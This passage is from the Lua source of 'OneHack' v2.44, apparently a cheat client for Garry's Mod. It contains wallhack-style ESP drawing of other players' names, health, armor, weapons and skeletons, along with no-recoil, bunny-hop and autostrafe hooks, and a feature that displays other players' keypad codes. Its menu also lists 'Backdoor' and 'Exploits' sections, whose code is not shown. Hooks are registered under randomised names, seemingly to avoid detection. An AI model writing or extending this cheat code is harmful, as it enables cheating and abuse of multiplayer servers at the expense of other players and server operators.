1742 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1743 end
1744
1745 if onehack.selectedpanel != nil then
1746 onehack.selectedpanel:Remove()
1747 end
1748 onehack.selectedpanel_id = 4
1749 onehack.selectedpanel = logsmenuopt
1750 end
1751
1752 function esppanel()
1753 esppanel = vgui.Create( "DPanel" , framesag )
1754 esppanel:SetPos( 126, 9 )
1755 esppanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1756 function esppanel:Paint( w, h )
1757 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1758 end
1759
1760 local esbenable = vgui.Create("DCheckBox",esppanel)
1761 esbenable:SetPos(5,5)
1762 esbenable:SetValue(onehack.Vars['ESP'])
1763 esbenable:SetSize(100,17)
1764 function esbenable:Paint(w,h)
1765 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1766 if esbenable:GetChecked() then
1767 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1768 end
1769 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1770 draw.SimpleText("Enabled","DermaDefault",24,h/2,Color(255,255,255),0,1)
1771 onehack.Vars['ESP'] = esbenable:GetChecked()
1772 end
1773
1774 local shownames = vgui.Create("DCheckBox",esppanel)
1775 shownames:SetPos(5,27)
1776 shownames:SetValue(onehack.Vars['ESP_NAME'])
1777 shownames:SetSize(100,17)
1778 function shownames:Paint(w,h)
1779 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1780 if shownames:GetChecked() then
1781 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1782 end
1783 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1784 draw.SimpleText("Name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1785 onehack.Vars['ESP_NAME'] = shownames:GetChecked()
1786 end
1787
1788 local showgroup = vgui.Create("DCheckBox",esppanel)
1789 showgroup:SetPos(5,49)
1790 showgroup:SetValue(onehack.Vars['ESP_GROUP'])
1791 showgroup:SetSize(100,17)
1792 function showgroup:Paint(w,h)
1793 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1794 if showgroup:GetChecked() then
1795 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1796 end
1797 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1798 draw.SimpleText("User group","DermaDefault",24,h/2,Color(255,255,255),0,1)
1799 onehack.Vars['ESP_GROUP'] = showgroup:GetChecked()
1800 end
1801
1802 local showteam = vgui.Create("DCheckBox",esppanel)
1803 showteam:SetPos(5,72)
1804 showteam:SetValue(onehack.Vars['ESP_TEAM'])
1805 showteam:SetSize(100,17)
1806 function showteam:Paint(w,h)
1807 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1808 if showteam:GetChecked() then
1809 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1810 end
1811 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1812 draw.SimpleText("Team name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1813 onehack.Vars['ESP_TEAM'] = showteam:GetChecked()
1814 end
1815
1816 local showhealthnumber = vgui.Create("DCheckBox",esppanel)
1817 showhealthnumber:SetPos(5,94)
1818 showhealthnumber:SetValue(onehack.Vars['ESP_HP'])
1819 showhealthnumber:SetSize(100,17)
1820 function showhealthnumber:Paint(w,h)
1821 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1822 if showhealthnumber:GetChecked() then
1823 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1824 end
1825 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1826 draw.SimpleText("Health number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1827 onehack.Vars['ESP_HP'] = showhealthnumber:GetChecked()
1828 end
1829
1830 local showhealtbox = vgui.Create("DCheckBox",esppanel)
1831 showhealtbox:SetPos(5,116)
1832 showhealtbox:SetValue(onehack.Vars['ESP_HPBOX'])
1833 showhealtbox:SetSize(100,17)
1834 function showhealtbox:Paint(w,h)
1835 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1836 if showhealtbox:GetChecked() then
1837 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1838 end
1839 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1840 draw.SimpleText("Health box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1841 onehack.Vars['ESP_HPBOX'] = showhealtbox:GetChecked()
1842 end
1843
1844 local showarmornumber = vgui.Create("DCheckBox",esppanel)
1845 showarmornumber:SetPos(5,137)
1846 showarmornumber:SetValue(onehack.Vars['ESP_ARMOR'])
1847 showarmornumber:SetSize(100,17)
1848 function showarmornumber:Paint(w,h)
1849 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1850 if showarmornumber:GetChecked() then
1851 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1852 end
1853 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1854 draw.SimpleText("Armor number","DermaDefault",24,h/2,Color(255,255,255),0,1)
1855 onehack.Vars['ESP_ARMOR'] = showarmornumber:GetChecked()
1856 end
1857
1858 local showarmorbox = vgui.Create("DCheckBox",esppanel)
1859 showarmorbox:SetPos(5,159)
1860 showarmorbox:SetValue(onehack.Vars['ESP_ARMORBOX'])
1861 showarmorbox:SetSize(100,17)
1862 function showarmorbox:Paint(w,h)
1863 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1864 if showarmorbox:GetChecked() then
1865 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1866 end
1867 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1868 draw.SimpleText("Armor box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1869 onehack.Vars['ESP_ARMORBOX'] = showarmorbox:GetChecked()
1870 end
1871
1872 local showammonumber = vgui.Create("DCheckBox",esppanel)
1873 showammonumber:SetPos(5,181)
1874 showammonumber:SetValue(onehack.Vars['ESP_WEAPON'])
1875 showammonumber:SetSize(100,17)
1876 function showammonumber:Paint(w,h)
1877 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1878 if showammonumber:GetChecked() then
1879 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1880 end
1881 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1882 draw.SimpleText("Weapon name","DermaDefault",24,h/2,Color(255,255,255),0,1)
1883 onehack.Vars['ESP_WEAPON'] = showammonumber:GetChecked()
1884 end
1885
1886 local showbox = vgui.Create("DCheckBox",esppanel)
1887 showbox:SetPos(5,202)
1888 showbox:SetValue(onehack.Vars['ESP_BOX'])
1889 showbox:SetSize(100,17)
1890 function showbox:Paint(w,h)
1891 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1892 if showbox:GetChecked() then
1893 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1894 end
1895 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1896 draw.SimpleText("Box","DermaDefault",24,h/2,Color(255,255,255),0,1)
1897 onehack.Vars['ESP_BOX'] = showbox:GetChecked()
1898 end
1899
1900 local showskelet = vgui.Create("DCheckBox",esppanel)
1901 showskelet:SetPos(5,224)
1902 showskelet:SetValue(onehack.Vars['ESP_SKELET'])
1903 showskelet:SetSize(100,17)
1904 function showskelet:Paint(w,h)
1905 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1906 if showskelet:GetChecked() then
1907 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1908 end
1909 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1910 draw.SimpleText("Skeleton","DermaDefault",24,h/2,Color(255,255,255),0,1)
1911 onehack.Vars['ESP_SKELET'] = showskelet:GetChecked()
1912 end
1913
1914 local norecoil = vgui.Create("DCheckBox",esppanel)
1915 norecoil:SetPos(5,260)
1916 norecoil:SetValue(onehack.Vars['NoRecoil'])
1917 norecoil:SetSize(100,17)
1918 function norecoil:Paint(w,h)
1919 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1920 if norecoil:GetChecked() then
1921 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1922 end
1923 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1924 draw.SimpleText("No recoil","DermaDefault",24,h/2,Color(255,255,255),0,1)
1925 onehack.Vars['NoRecoil'] = norecoil:GetChecked()
1926 end
1927
1928 local Crosshair = vgui.Create("DCheckBox",esppanel)
1929 Crosshair:SetPos(5,282)
1930 Crosshair:SetValue(onehack.Vars['Crosshair'])
1931 Crosshair:SetSize(100,17)
1932 function Crosshair:Paint(w,h)
1933 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1934 if Crosshair:GetChecked() then
1935 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1936 end
1937 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1938 draw.SimpleText("Crosshair","DermaDefault",24,h/2,Color(255,255,255),0,1)
1939 onehack.Vars['Crosshair'] = Crosshair:GetChecked()
1940 end
1941
1942 local preview = vgui.Create("DPanel",esppanel)
1943 preview:SetPos(212,5)
1944 preview:SetSize(250,373)
1945 function preview:Paint(w,h)
1946 onehack.DrawRect(0,0,w,h,Color(255,255,255,10))
1947 onehack.DrawOutLinedRect(0,0,w,h,onehack.theme.backgroundalt2)
1948
1949 if onehack.Vars['ESP_NAME'] then
1950 draw.SimpleTextOutlined("Garry :D","default",w/2, 50,Color(255,255,255),1,1,1,Color(0,0,0))
1951 end
1952
1953 if onehack.Vars['ESP_WEAPON'] then
1954 draw.SimpleTextOutlined("Crowbar","default",w/2, h-50,Color(255,255,255),1,1,1,Color(0,0,0))
1955 end
1956
1957 if onehack.Vars['ESP_TEAM'] then
1958 draw.SimpleTextOutlined("Citizen","default",w-54, 65,Color(50,255,50),0,1,1,Color(0,0,0))
1959 end
1960
1961 if onehack.Vars['ESP_GROUP'] then
1962 draw.SimpleTextOutlined("Admin","default",w-54, 80,Color(255,255,255),0,1,1,Color(0,0,0))
1963 end
1964
1965 if onehack.Vars['ESP_HP'] then
1966 draw.SimpleTextOutlined("100%","default",58,56,Color(150,255,0),0,1,1,Color(0,0,0))
1967 end
1968
1969 if onehack.Vars['ESP_HPBOX'] then
1970 onehack.DrawOutLinedRect(53,60,6,h-120,Color(0,0,0))
1971 onehack.DrawRect(54,61,4,h-122,Color(150,255,0))
1972 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1973 end
1974
1975 if onehack.Vars['ESP_ARMOR'] then
1976 draw.SimpleTextOutlined("100%","default",46,56,Color(19,136,191),2,1,1,Color(0,0,0))
1977 end
1978
1979 if onehack.Vars['ESP_ARMORBOX'] then
1980 onehack.DrawOutLinedRect(46,60,6,h-120,Color(0,0,0))
1981 onehack.DrawRect(47,61,4,h-122,Color(19,136,191))
1982 --onehack.DrawOutLinedRect(56,60,5,h-120,Color(0,0,0))
1983 end
1984
1985 if onehack.Vars['ESP_BOX'] then
1986 onehack.DrawOutLinedRect(60,60,w-120,h-120,Color(0,0,0))
1987 onehack.DrawOutLinedRect(61,61,w-122,h-122,Color(255,255,255))
1988 onehack.DrawOutLinedRect(62,62,w-124,h-124,Color(0,0,0))
1989 end
1990 end
1991
1992 if onehack.selectedpanel != nil then
1993 onehack.selectedpanel:Remove()
1994 end
1995 onehack.selectedpanel_id = 5
1996 onehack.selectedpanel = esppanel
1997 end
1998
1999 function aimpanel()
2000 aimpanel = vgui.Create( "DPanel" , framesag )
2001 aimpanel:SetPos( 126, 9 )
2002 aimpanel:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
2003 function aimpanel:Paint( w, h )
2004 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
2005 draw.SimpleText("Coming soon...","DermaDefault",w/2,h/2,Color(255,255,255,100),1,1)
2006 end
2007
2008 if onehack.selectedpanel != nil then
2009 onehack.selectedpanel:Remove()
2010 end
2011 onehack.selectedpanel_id = 5
2012 onehack.selectedpanel = aimpanel
2013 end
2014
2015 PanelAddButton("Aimbot",aimpanel,6)
2016 PanelAddButton("Visuals",esppanel,5)
2017 PanelAddButton("Backdoor",onehackdooropt,1)
2018 PanelAddButton("Exploits",exploitmenuopt,2)
2019 PanelAddButton("Options",optionsmenuopt,3)
2020 PanelAddButton("Logs",logsmenuopt,4)
2021 onehackdooropt()
2022end
2023function myfunc()
2024 if input.IsKeyDown( KEY_F11 ) then
2025 if not timer.Exists("FW.MenuIsPressed") then
2026 if IsValid(framesag) then
2027 framesag:Remove()
2028 else
2029 MainFunc()
2030 end
2031 timer.Create("FW.MenuIsPressed",0.3,1,function() end)
2032 end
2033 end
2034
2035 if input.IsKeyDown( KEY_F9 ) then
2036 if not timer.Exists("FW.MenuIsPressedF9") then
2037 onehack.Vars['FCAM'] = !onehack.Vars['FCAM']
2038 timer.Create("FW.MenuIsPressedF9",0.3,1,function() end)
2039 end
2040 end
2041end
2042onehack.DebugLog( "Onehack loaded successfully!", Color(100,255,100) )
2043onehack.DebugLog( "onehack version v2.44, build 13.05.2019", Color(255,255,255) )
2044hook.Add("Think","twsgsh",myfunc)
2045
2046
2047local me = LocalPlayer();
2048function onehack.CreateMove(cmd)
2049 local memfootprint = gcinfo()
2050 if(!onehack.Vars['BHOP']) then return; end
2051 if(!me:IsOnGround() && cmd:KeyDown(IN_JUMP)) then
2052 cmd:RemoveKey(IN_JUMP);
2053 if(onehack.Vars['AUTOSTRAFER']) then
2054 if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
2055 cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400);
2056 else
2057 cmd:SetForwardMove(5850 / me:GetVelocity():Length2D());
2058 cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400);
2059 end
2060 end
2061 elseif(cmd:KeyDown(IN_JUMP) && onehack.Vars['AUTOSTRAFER']) then
2062 cmd:SetForwardMove(10000);
2063 end
2064 onehack.memory["logic"] = gcinfo() - memfootprint
2065end
2066hook.Add("CreateMove", onehack.RandomString(10), function(cmd)
2067 onehack.CreateMove(cmd);
2068end);
2069
2070function onehack.CalcView( ply, pos, angles, fov )
2071 if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
2072 local tps = {}
2073 if onehack.Vars['NoRecoil'] then
2074 tps.angles = me:EyeAngles()
2075 return tps
2076 end
2077end
2078hook.Add("CalcView", onehack.RandomString(10), onehack.CalcView)
2079
2080
2081local function coordinates( ent )
2082local min, max = ent:OBBMins(), ent:OBBMaxs()
2083local corners = {
2084 Vector( min.x, min.y, min.z ),
2085 Vector( min.x, min.y, max.z ),
2086 Vector( min.x, max.y, min.z ),
2087 Vector( min.x, max.y, max.z ),
2088 Vector( max.x, min.y, min.z ),
2089 Vector( max.x, min.y, max.z ),
2090 Vector( max.x, max.y, min.z ),
2091 Vector( max.x, max.y, max.z )
2092}
2093
2094local minX, minY, maxX, maxY = ScrW() * 2, ScrH() * 2, 0, 0
2095for _, corner in pairs( corners ) do
2096 local onScreen = ent:LocalToWorld( corner ):ToScreen()
2097 minX, minY = math.min( minX, onScreen.x ), math.min( minY, onScreen.y )
2098 maxX, maxY = math.max( maxX, onScreen.x ), math.max( maxY, onScreen.y )
2099end
2100function drawfillbox( mag,value,left,top,right,bottom,r,g,b,a )
2101 local poly = {
2102 {x=left,y=top},
2103 {x=right,y=top},
2104 {x=right,y=bottom},
2105 {x=left,y=bottom}
2106 }
2107 surface.SetDrawColor( r,g,b,a )
2108 draw.NoTexture()
2109 surface.DrawPoly(poly)
2110 draw.SimpleTextOutlined(value,"default",left + (right - left) / 2,top,Color(r,g,b,a),mag,1,1,Color(0,0,0))
2111end
2112return minX, minY, maxX, maxY
2113end
2114hook.Add("OnEntityCreated",onehack.RandomString(17),function(ent)
2115 onehack.DebugLog( ent:GetClass().." spawned on ("..tostring(ent:GetPos())..")", Color(100,100,100) )
2116end)
2117hook.Add( "PostDrawOpaqueRenderables", onehack.RandomString(17), function()
2118 if onehack.Vars['WEAPON_LIST3D'] then
2119 for k,vv in pairs(player.GetAll()) do
2120 if vv:IsValid() and vv ~= LocalPlayer() and vv:GetPos():Distance(LocalPlayer():GetPos()) < 600 and onehack.Vars['FCAM'] and vv:Alive() or (vv:GetPos():Distance(LocalPlayer():GetPos()) < 255 and vv ~= LocalPlayer() and vv:Alive()) then
2121 local rot = (vv:GetPos() - EyePos()):Angle().yaw - 90
2122 local ang = Angle(0,rot,90)
2123 cam.Start3D2D( vv:EyePos()+2*ang:Up(), ang-Angle(0,30,0), 0.15 )
2124 local otstup = 0
2125 local toleft = 160
2126 local alpha = 255 - vv:GetPos():Distance(LocalPlayer():GetPos())
2127 surface.SetDrawColor( 255, 165, 0, alpha )
2128 surface.DrawRect( toleft, 0, 150, 1 )
2129 surface.SetDrawColor( 0, 0, 0, alpha )
2130 surface.SetMaterial(Material("gui/gradient_down"))
2131 surface.DrawTexturedRect( toleft, 1, 150, alpha/2 )
2132 for k,v in pairs(vv:GetWeapons()) do
2133 surface.SetDrawColor( 255, 255, 255, alpha/2 )
2134 surface.SetMaterial(Material("gui/gradient_down"))
2135 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2136 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2137 surface.SetDrawColor( 255, 165, 0, alpha/2 )
2138 surface.SetMaterial(Material("gui/gradient_up"))
2139 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2140 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2141 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2142 surface.SetMaterial(Material("gui/gradient_up"))
2143 surface.DrawTexturedRect( 4+toleft, 4+otstup, 92+50, 15 )
2144 end
2145 if vv:GetActiveWeapon():IsValid() and vv:GetActiveWeapon() == v then
2146 surface.SetDrawColor( 255, 165, 0, alpha )
2147 elseif string.find(v:GetClass(),"m9k") or string.find(v:GetClass(),"swb") or string.find(v:GetClass(),"csgo") or string.find(v:GetClass(),"ptp") then
2148 surface.SetDrawColor( 255, 0, 0, alpha/2 )
2149 else
2150 surface.SetDrawColor( 255, 255, 255, alpha )
2151 end
2152 surface.DrawOutlinedRect( 4+toleft, 4+otstup, 92+50, 15 )
2153
2154 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft, 5+otstup,Color(0,0,0,alpha))
2155 draw.SimpleText(v:GetPrintName(),"DermaDefault",8+toleft+1, 5+otstup-1,Color(255,255,255,alpha))
2156 otstup = otstup + 19
2157 end
2158 cam.End3D2D()
2159 end
2160 end
2161 end
2162
2163 if onehack.Vars['keypad_jiw'] then
2164 for k, e in pairs(ents.FindInSphere( LocalPlayer():GetPos(), 100 )) do
2165 if IsValid(e) and string.find( e:GetClass(), "Keypad") then
2166 local text;
2167 local color;
2168 if(e.code && e.code != "") then
2169 text = e.code;
2170 color = Color( 105, 255, 105, 150 )
2171 elseif(e.tempCode && e.tempCode != "") then
2172 text = e.tempCode;
2173 color = Color( 250, 150, 150, 150 )
2174 else
2175 text = "Unkn"
2176 color = Color(150,150,150,150)
2177 end
2178 local rot = (e:GetPos() - EyePos()):Angle().yaw - 90
2179 local rot2 = -(e:GetPos() - EyePos()):Angle().pich +90
2180 local ang = Angle(0,rot,rot2)
2181 cam.Start3D2D( e:GetPos()+Vector(0,0,2), ang-Angle(0,30,0), 0.15 )
2182 local otstup = 0
2183 local toleft = 40
2184 local alpha = 255-(e:GetPos():Distance(LocalPlayer():GetPos()))
2185 surface.SetDrawColor( color.r, color.g, color.b, alpha )
2186 surface.DrawRect( toleft, 0, 40, 1 )
2187 surface.SetDrawColor( 0, 0, 0, alpha )
2188 surface.SetMaterial(Material("gui/gradient_down"))
2189 surface.DrawTexturedRect( toleft, 1, 40, 30 )
2190 draw.SimpleText(text,"DermaDefault",8+toleft, 5+otstup,Color(255,255,255,alpha))
2191 cam.End3D2D()
2192 end
2193 end
2194 end
2195end )
2196hook.Add("HUDPaint", onehack.RandomString(17), function()
2197if onehack.Vars['WaterMark'] then
2198 surface.SetFont("DermaDefault")
2199 local tw,th = surface.GetTextSize("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name())
2200 tw = tw + 3
2201 onehack.DrawRect(5,5,10+tw,25,Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b,150))
2202 onehack.DrawRect(9,9,2+tw,17,Color(onehack.theme.chromaalt.r,onehack.theme.chromaalt.g,onehack.theme.chromaalt.b,150))
2203 onehack.DrawOutLinedRect(5,5,10+tw,25,Color(0,0,0,50))
2204 onehack.DrawOutLinedRect(9,9,2+tw,17,Color(0,0,0,50))
2205 draw.SimpleText("OneHack.su | "..math.Round(1/FrameTime()).." FPS | "..LocalPlayer():Ping().." PING | "..onehack.memory['hud']+onehack.memory['logic'].." KB | "..LocalPlayer():Name(),"DermaDefault",12,10,Color(255,255,255))
2206end
2207local memfootprintss = gcinfo()
2208if not onehack.Vars['ESP'] then return end
2209if onehack.Vars['Crosshair'] then
2210 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)+5,(ScrH()/2)+5,Color(255,255,255,100))
2211 onehack.Drawline(ScrW()/2,ScrH()/2,(ScrW()/2)-5,(ScrH()/2)+5,Color(255,255,255,100))
2212end
2213for k,v in pairs(player.GetAll()) do
2214 local left,top,right,bottom = coordinates(v)
2215 local dist = v:GetPos():Distance(LocalPlayer():GetPos())
2216 if v ~= LocalPlayer() then
2217 if dist > 20 then
2218 if v:Alive() then
2219 if left ~= 0 and right ~= 0 and top ~= 0 and bottom ~= 0 then
2220 if onehack.Vars['ESP_BOX'] then
2221 surface.SetDrawColor(Color(255,255,255))
2222 surface.DrawLine( left, top, right, top )
2223 surface.DrawLine( left, top, left, bottom )
2224 surface.DrawLine( right, top, right, bottom )
2225 surface.DrawLine( left, bottom, right, bottom )
2226
2227 surface.SetDrawColor(Color(0,0,0))
2228 surface.DrawLine( left-1, top-1, right+1, top-1 )
2229 surface.DrawLine( left-1, top-1, left-1, bottom+1 )
2230 surface.DrawLine( right+1, top-1, right+1, bottom+1 )
2231 surface.DrawLine( left-1, bottom+1, right+1, bottom+1 )
2232
2233 surface.SetDrawColor(Color(0,0,0))
2234 surface.DrawLine( left+1, top+1, right-1, top+1 )
2235 surface.DrawLine( left+1, top+1, left+1, bottom-1 )
2236 surface.DrawLine( right-1, top+1, right-1, bottom-1 )
2237 surface.DrawLine( left+1, bottom-1, right-1, bottom-1 )
2238 end
2239
2240 local hpdraw = {
2241 {x=left-4,y=top},
2242 {x=left-2,y=top},
2243 {x=left-2,y=bottom},
2244 {x=left-4,y=bottom}
2245 }
2246 if onehack.Vars['ESP_NAME'] then
2247 draw.SimpleTextOutlined(v:GetName(),"default",left + (right - left) / 2, top - 10,Color(255,255,255),1,1,1,Color(0,0,0))
2248 end
2249
2250 if IsValid(v:GetActiveWeapon()) and onehack.Vars['ESP_WEAPON'] then
2251 draw.SimpleTextOutlined(v:GetActiveWeapon():GetPrintName() or v:GetActiveWeapon():GetClass(),"default",left + (right - left) / 2, bottom + 10,Color(255,255,255),1,1,1,Color(0,0,0))
2252 end
2253 w, h = ScrW(), ScrH()
2254 w = w/2
2255 local hp = math.min(v:Health(), 100)
2256 local height = bottom - top - 1
2257 local healthbar_height = (hp / 100) * height
2258 local healthbar_height2 = (100 / 100) * height
2259 local width = (w * (hp / 100.0))
2260 local red = 255 - (hp*2.55)
2261 local green = hp * 2.55
2262 if onehack.Vars['ESP_HP'] then numb = v:Health().."%" else numb = "" end
2263 if onehack.Vars['ESP_HPBOX'] then
2264 drawfillbox( 0,"", left - 8, bottom - healthbar_height2 - 2,left - 2, bottom,0,0,0,255 )
2265 drawfillbox( 0,"", left - 7, bottom - healthbar_height2 - 1,left - 3, bottom-1,0,200,0,40 )
2266 drawfillbox( 0,numb, left - 7, bottom - healthbar_height - 1,left - 3, bottom-1,red,green,0,255 )
2267 end
2268 local ar = math.min(v:Armor(), 100)
2269 local armorbar_height = (ar / 100) * height
2270 local numb
2271 if onehack.Vars['ESP_ARMOR'] then numb = v:Armor().."%" else numb = "" end
2272 if onehack.Vars['ESP_ARMORBOX'] then
2273 drawfillbox( 0,"", left - 15, bottom - healthbar_height2 - 2,left - 10, bottom,0,0,0,255 )
2274 drawfillbox( 0,"", left - 14, bottom - healthbar_height2 - 1,left - 11, bottom-1,0,200,0,40 )
2275 drawfillbox( 2,numb, left - 14, bottom - armorbar_height - 1,left - 11, bottom-1,19,136,191,255 )
2276 end
2277 local plys = v
2278 local Bones = {}
2279 local sBones = {
2280 "ValveBiped.Bip01_Head1",
2281 "ValveBiped.Bip01_Neck1",
2282 "ValveBiped.Bip01_Spine4",
2283 "ValveBiped.Bip01_Spine2",
2284 "ValveBiped.Bip01_Spine1",
2285 "ValveBiped.Bip01_Spine",
2286 "ValveBiped.Bip01_Pelvis",
2287 "ValveBiped.Bip01_R_UpperArm",
2288 "ValveBiped.Bip01_R_Forearm",
2289 "ValveBiped.Bip01_R_Hand",
2290 "ValveBiped.Bip01_L_UpperArm",
2291 "ValveBiped.Bip01_L_Forearm",
2292 "ValveBiped.Bip01_L_Hand",
2293 "ValveBiped.Bip01_R_Thigh",
2294 "ValveBiped.Bip01_R_Calf",
2295 "ValveBiped.Bip01_R_Foot",
2296 "ValveBiped.Bip01_R_Toe0",
2297 "ValveBiped.Bip01_L_Thigh",
2298 "ValveBiped.Bip01_L_Calf",
2299 "ValveBiped.Bip01_L_Foot",
2300 "ValveBiped.Bip01_L_Toe0"
2301 }
2302 local Success = true
2303 for k, v in pairs(sBones) do
2304 if plys:LookupBone(v) != nil && plys:GetBonePosition(plys:LookupBone(v)) != nil then
2305 table.insert( Bones, plys:GetBonePosition(plys:LookupBone(v)):ToScreen() )
2306 else
2307 Success = false
2308 end
2309 end
2310 surface.SetDrawColor(Color(255,255,255))
2311 if Success and onehack.Vars['ESP_SKELET'] then
2312 surface.DrawLine( Bones[1].x, Bones[1].y, Bones[2].x, Bones[2].y )
2313 surface.DrawLine( Bones[2].x, Bones[2].y, Bones[3].x, Bones[3].y )
2314 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[4].x, Bones[4].y )
2315 surface.DrawLine( Bones[4].x, Bones[4].y, Bones[5].x, Bones[5].y )
2316 surface.DrawLine( Bones[5].x, Bones[5].y, Bones[6].x, Bones[6].y )
2317 surface.DrawLine( Bones[6].x, Bones[6].y, Bones[7].x, Bones[7].y )
2318
2319 //Legs
2320 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[14].x, Bones[14].y )
2321 surface.DrawLine( Bones[14].x, Bones[14].y, Bones[15].x, Bones[15].y )
2322 surface.DrawLine( Bones[15].x, Bones[15].y, Bones[16].x, Bones[16].y )
2323 surface.DrawLine( Bones[16].x, Bones[16].y, Bones[17].x, Bones[17].y )
2324
2325 surface.DrawLine( Bones[7].x, Bones[7].y, Bones[18].x, Bones[18].y )
2326 surface.DrawLine( Bones[18].x, Bones[18].y, Bones[19].x, Bones[19].y )
2327 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2328 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2329
2330 //Arms
2331 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2332 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2333 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2334
2335 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2336 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2337 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2338
2339 end
2340 if onehack.Vars['ESP_TEAM'] then
2341 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2342 end
2343 if onehack.Vars['ESP_GROUP'] then
2344 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2345 end
2346 end
2347 end
2348end
2349end
2350end
2351
2352onehack.memory["hud"] = gcinfo() - memfootprintss
2353end)
2354local elements = {
2355 { -- Screen
2356 x = 0.075,
2357 y = 0.04,
2358 w = 0.85,
2359 h = 0.25,
2360
2361 },
2362 { -- ABORT
2363 x = 0.075,
2364 y = 0.04 + 0.25 + 0.03,
2365 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2366 h = 0.125,
2367 text = "ABORT",
2368 },
2369 { -- OK
2370 x = 0.5 + 0.04 / 2 + 0.05,
2371 y = 0.04 + 0.25 + 0.03,
2372 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2373 h = 0.125,
2374 text = "OK",
2375 }
2376}
2377
2378do -- Create numbers
2379 for i = 1, 9 do
2380 local column = (i - 1) % 3
2381
2382 local row = math.floor((i - 1) / 3)
2383
2384 local element = {
2385 x = 0.075 + (0.3 * column),
